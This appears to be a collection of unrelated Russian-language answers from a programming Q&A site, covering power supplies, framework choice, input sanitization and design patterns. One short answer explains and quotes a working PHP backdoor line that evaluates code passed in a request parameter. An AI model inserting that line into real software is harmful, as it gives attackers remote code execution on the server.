metallix

ВСЕГДА во время разработки открывайте консоль. Поставьте там птичку.
Убирать птичку не нужно. Она работает только пока открыта консоль.

Мощность блока питания - это максимальная мощность, которую он может выдать. Если подключить к вашему БП (85 Вт) потребителя, который требует 100 Вт - блок питания не справится с такой нагрузкой (как конкретно это проявится - зависит от схемотехники БП)

Если же к нему подключить 60 Вт (да хоть 5 Вт) - это будет означать только то что БП работает "вполсилы", у него остается запас мощности т.к. не БП определяет сколько он "впихнет" в потребителя, а, наоборот, потребитель определяет сколько он "заберет" у источника питания. Поэтому резерв мощности никогда не может навредить потребителю. Из этого же, кстати, следует что заряжаться макбук быстрее не станет.

На хабре еженедельный(?) обзор новостей по фронтенду и вроде такой же по мобильной разработке, и вроде по бэку тоже что-то такое есть.

Чёрный ход, он же бэкдор. Если в запросе к сайту будет параметр с указанным именем, то он выполнится как код PHP.

eval(stripslashes(@$_REQUEST["VpnuvWRdhMsvhcWLUsXt"]));

К сожалению, твой вопрос похож на "какой командой ассемблера пакман ест чертика".

Слишком рано задаешь подобный вопрос. Перед тем как изучать именно ассемблер для того, чтобы делать Операционную Систему, тебе следует изучить как вообще операционная система работает, как вообще языки программирования работают. То есть для начала стать продвинутым пользователем.

Для начала, подучи С/С++ до уровня, чтобы ты мог писать простые консольные программки, вроде "открыть файл, записать в него что-то", "открыть файл, прочитать с него что-то".
Затем можешь изучить как загружается операционная система с диска, разобраться с тем что такое BIOS на самом деле (а не думать что bios это то меню, в котором можно выбрать грузиться с диска или флешки), и подумать сможешь ли ты написать собственный загрузчик операционной системы.
Потом можно почитать/полистать хотя бы 1-2 ЛЮБЫЕ книжки по ассемблеру (и не бойся такие простые вопросы задавать гуглу). Рекомендовать тебе самое лучшее нет смысла.

А вопросы следует задавать, когда ты уже знаешь примерно половину ответа. Тогда это будут правильные вопросы.

Вот современный способ проверки на соответствие медиавыражению:

if (window.matchMedia('(max-width: 700px)').matches) {
  for (const linkElement of document.querySelectorAll('.order-project__more-details-btn')) {
    linkElement.setAttribute('href', 'examples-foundation-640')
  }
}

А вот документация: https://developer.mozilla.org/ru/docs/Web/API/Wind...

1. Прежде всего нужно понимать, что любой Framework, в руках хорошего разработчика будет жить долго и хорошо.
   
2. Framework — это инфраструктура. Framework не предоставляет Вам готовый код и не задаёт архитектуру, он предоставляет Вам низкоуровневые инструменты или их быструю интеграцию, в которых нет необходимости писать с нуля под каждый проект. Хотя, ради практики, было бы не плохо попробовать это сделать, чтобы разобраться в данном вопросе, но сейчас не об этом. Исходя из этого Ваш код должен быть независим от какого-либо Фреймворка. Устарел Yii2 framework —поменяли контроллеры, немного инфраструктуры и код работает уже на Symfony или Laravel. Это касается не только Фреймворков, любая сторонняя библиотека должна быть изолирована от прямого использования. Это позволит Вам быть более гибче и сделает Ваш код менее связанным и зависимым.
   
3. Оба Фреймворка популярны и имеют право на существование. У всех разный порог входа, разное сообщество и разные решения. На Symfony код пишется чуть сложнее и дольше, так как нет привычных фасадов. Многие компоненты и Фреймворки используют компоненты Symfony в виде своих обёрток. Однако, нужно понимать, что Фреймворк задаёт немного стиля в разработке, у Symfony этот стиль более правильный и строгий. Поэтому, использование Symfony интуитивно подталкивает Вас к написанию более чистого кода, без погружения в различные паттерны.
   
4. Doctrine — это НЕ тот же Eloquent. Это совершенно разные вещи!
   Eloquent —это анти паттерн Active Record, а Doctrine это паттерн Data Mapper. Если речь идёт о быстрой разработке и не долгоживущем или небольшом проекте, то можно взять и её, однако на долгий срок лучше использовать Data Maper типа Doctrine, Cycle. При таком подходе ваши поля «не торчат» напрямую из базы данных в код. При изменении столбца в БД — его не придётся менять по всему проекту. Для Data Mapper подход — Code First (Вначале код), а для Active Record — Table Fist (Вначале таблицы). При использовании Data Mapper мы не думаем как будут храниться наши данные в БД, не думаем какая будет БД, что не скажешь по AR.
   

Тема фреймворков на Q&A поднимается очень часто. Лично мне приходилось много раз отвечать на подобные вопросы. Вы можете сами в этом убедится по моим ответам:

• Актуален ли Yii2 Фреймворк в 2020?
  
• Какой подход программирования на PHP выбрать в 202...
  
• Переход к PHP-фреймворку. Какому?
  

Поэтому, серьёзно к таким вопросам здесь не относятся. Чтобы понять разницу — Вам, очевидно, нужно попробовать оба Фреймворка в разных ситуациях. Со временем Вы сами всё поймете. А если Вас устраивает Laravel и не предвидится какого-то большого развития — пользуйтесь. Пару строк кода можно написать и без какого-либо Фреймворка. Главное — результат и правильно подобранный инструмент.

Вам необходимо подключить к сайту google tag manager а после с его помощью настроить перехват действий, а именно клик на кнопку, что позволит сгенерировать вам виртуальную ссылку, которая будет автоматически попадать в гугл аналитику, и дальше на эту виртуальную ссылку вы настраиваете цели, воронки и т.д.

Redis - это хранилище структур данных в памяти с открытым исходным кодом (лицензия BSD), используемое в качестве базы данных

Никак не очищать.

На самом деле этот вопрос встречается довольно часто. Вот например популярный ответ на Stack Overflow, который подробно разбирает этот распространённое заблуждение: https://stackoverflow.com/a/3126175. И основная мысль там:

Понятие такой генерализованной "очистки данных" изначально бессмысленное и вредное.

Особенно такой вот индусской функцией, которая сама по себе - пример редкого идиотизма: сначала заменяем символы < и > на HTML сущности... а потом бодро пытаемся вырезать HTML теги. Которых к этому моменту в тексте не останется ни одного!
Или функция stripcslashes, которая здесь вообще ни к селу, ни к городу. Если я хочу написать сочетание \n, то с какой стати эта функция будет заменять его на перевод строки?
Всё что можно оставить из этого безумного набора - это trim(). Да и то не всегда. Как правильно заметил Rsa97, могут быть случаи, когда лидирующие пробелы имеют значение, например, при выводе форматированного кода. Кстати, этим как раз грешит Хабр. Если запостить код с отступами, то первый будет "съеден"!

Очистка

Любая "очистка" (хотя правильнее говорить про форматирование), имеет смысл только в определённом контексте.
И поэтому "очищать" надо только адресно, строго перед использованием в том или ином конкретном случае.

Например, базе данных ни жарко, ни холодно от наличия HTML тегов.
А проблемы могут начаться только при выводе данных в HTML. Но если мы будем предотвращать эти проблемы заранее, то просто попортим кучу данных. Поэтому форматировать данные для использования в контексте отрисовки HTML следет строго перед этой отрисовкой. То есть при выводе.
Что и делают все популярные РНР шаблонизаторы автоматически.
То есть вручную колупаться с "очисткой" вообще не нужно.

Больше того, "очистка" HTML поможет данным, выводимым в яваскрипт, как мёртвому припарки. То есть опять же - всегда надо понимать, в какой именно контекст мы выводим данные, и форматировать соответствующим образом. В частности любые данные передавать в яваскрипт только через json_encode()

И таких контекстов неисчислимое множество. Например, если мы используем переменную для передачи параметров в консольный скрипт, то надо обязательно обрабатывать её через escapeshellarg(). Если в регулярку - то preg_quote(). Имя файла для инклюда из переменной (хотя так делать вообще не стоит) надо хотя бы обрабатывать через basename(). И так далее.

Валидация

Если же наличие HTML тегов в поступающих данных противоречит техническому заданию, то надо заниматься не "очисткой", а валидацией: проверить регулярным выражением, есть ли в строке HTML теги. И если есть, то вернуть пользователю с сообщением об ошибке.

Защита БД

И кстати, по поводу "использую pdo".
На всякий случай уточню, что само по себе использование PDO не защищает ни от каких проблем
Важно помнить, что защита - это когда в базу данных отправляется строго константная строка запроса, полностью на 100% составленная из значений, прописанных в коде РНР, и в ней не используется ни одно значение, пришедшее в код извне. Причем PDO помогает здесь только наполовину, позволяя использовать в запросе подстановки вместо самих данных.
Но при этом для всех остальных частей запроса - например имен полей - у ПДО нет никакой защиты и её надо организовывать самостоятельно. Либо проверяя по белому списку, лабо, по крайней мере, прогоняя через регулярку.

Попробуйте nextjs. В нём много фишек и оптимизаций под Вашу задачу.

Если отвечать на вопрос, то имхо разница должна быть небольшая. И еще неизвестно, какой фреймворк лучше оптимизирует.

В целом, пользуйтесь тем, что комфортно.

Мне в свое время помогла проработка всех шаблонов проектирования из трех источников: "Head First Design Patterns"+refactoring.guru+designpatternsphp.readthedocs.io. Каждый шаблон разбирала и пыталась понять, почему здесь нужен паттерн, а не процедурный код, обернутый в один класс. Еще помогла книга по чистой архитектуре, но она зашла уже после паттернов. Просто важно полностью для себя понять, почему эти подходы до сих пор существуют и находить для себя два-три примера, потому что один-единственный пример для изучения может быть однобоким и даже неправильным.
Также эти книги и темы помогают вылечиться от трудностей решения задач на фреймворках, потому что наконец-то начинаешь видеть всю структуру и взаимодействия модулей и классов, а не просто примеры из документации натягиваешь на бизнес-требования)

в основном так и есть.
бизнесу насрать на наши модели и архитектуру, ему надо деньги делать и ещё вчера.

если вылизывать архитектуру со старта - никогда не взлетишь. а когда и если взлетишь, поляна будет уже засеяна другими, которые срать–плевали на красоту кода.

это итеративный процесс: сначала столбим делянку как-нибудь (MVP), затем так и живём или приводим её в порядок.